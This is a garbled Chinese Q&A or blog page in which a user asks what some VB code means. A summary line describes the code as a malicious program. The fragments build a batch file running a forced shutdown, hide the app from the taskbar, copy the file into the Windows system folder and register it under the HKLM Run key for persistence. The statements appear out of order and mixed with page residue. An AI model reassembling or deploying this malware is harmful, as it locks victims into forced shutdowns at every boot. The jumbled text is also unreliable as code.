"C:/WINDOWS/SYSTEM/WinComputerclosed.bat" '这段代码就是写如注册表的局动项里Shell App.Path & "/WinComputerclosed.bat" '调用"/WinComputerclosed.bat"文件End Sub
Deslocation 把Location路径文件复制到Deslocation路径里Dim RegSet Reg = CreateObject("wscript.Shell")Reg.RegWrite "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/WinComputerclosed" Deslocation '定义两个变体变量Location = App.Path & "/WinComputerclosed.bat" Deslocation = "C/WINDOWS/SYSTEM/WinComputerclosed.bat" FileCopy Location "@shutdown -s -f" '把关机代码输入数据文件里面Close #1 '关闭文件号Dim Location 强制关机
|||
Sub main()App.TaskVisible = False '在任务栏里面隐藏On Error Resume Next '发生错误直接执行下一句代码Open App.Path & "/WinComputerclosed.bat" For Output As #1 '在当前位置建立一个数据文件Print #1 写入注册表开机启动 窗口不显示
恶意程序
谁帮我分析下这VB语言是啥意思
最新推荐文章于 2024-10-18 22:49:19 发布
本文介绍了一个恶意程序的实现方式,该程序通过修改注册表设置开机自启,并利用批处理文件实现计算机的强制关机。文章详细展示了如何通过VBS脚本创建批处理文件并设置注册表项。
666

被折叠的 条评论
为什么被折叠?



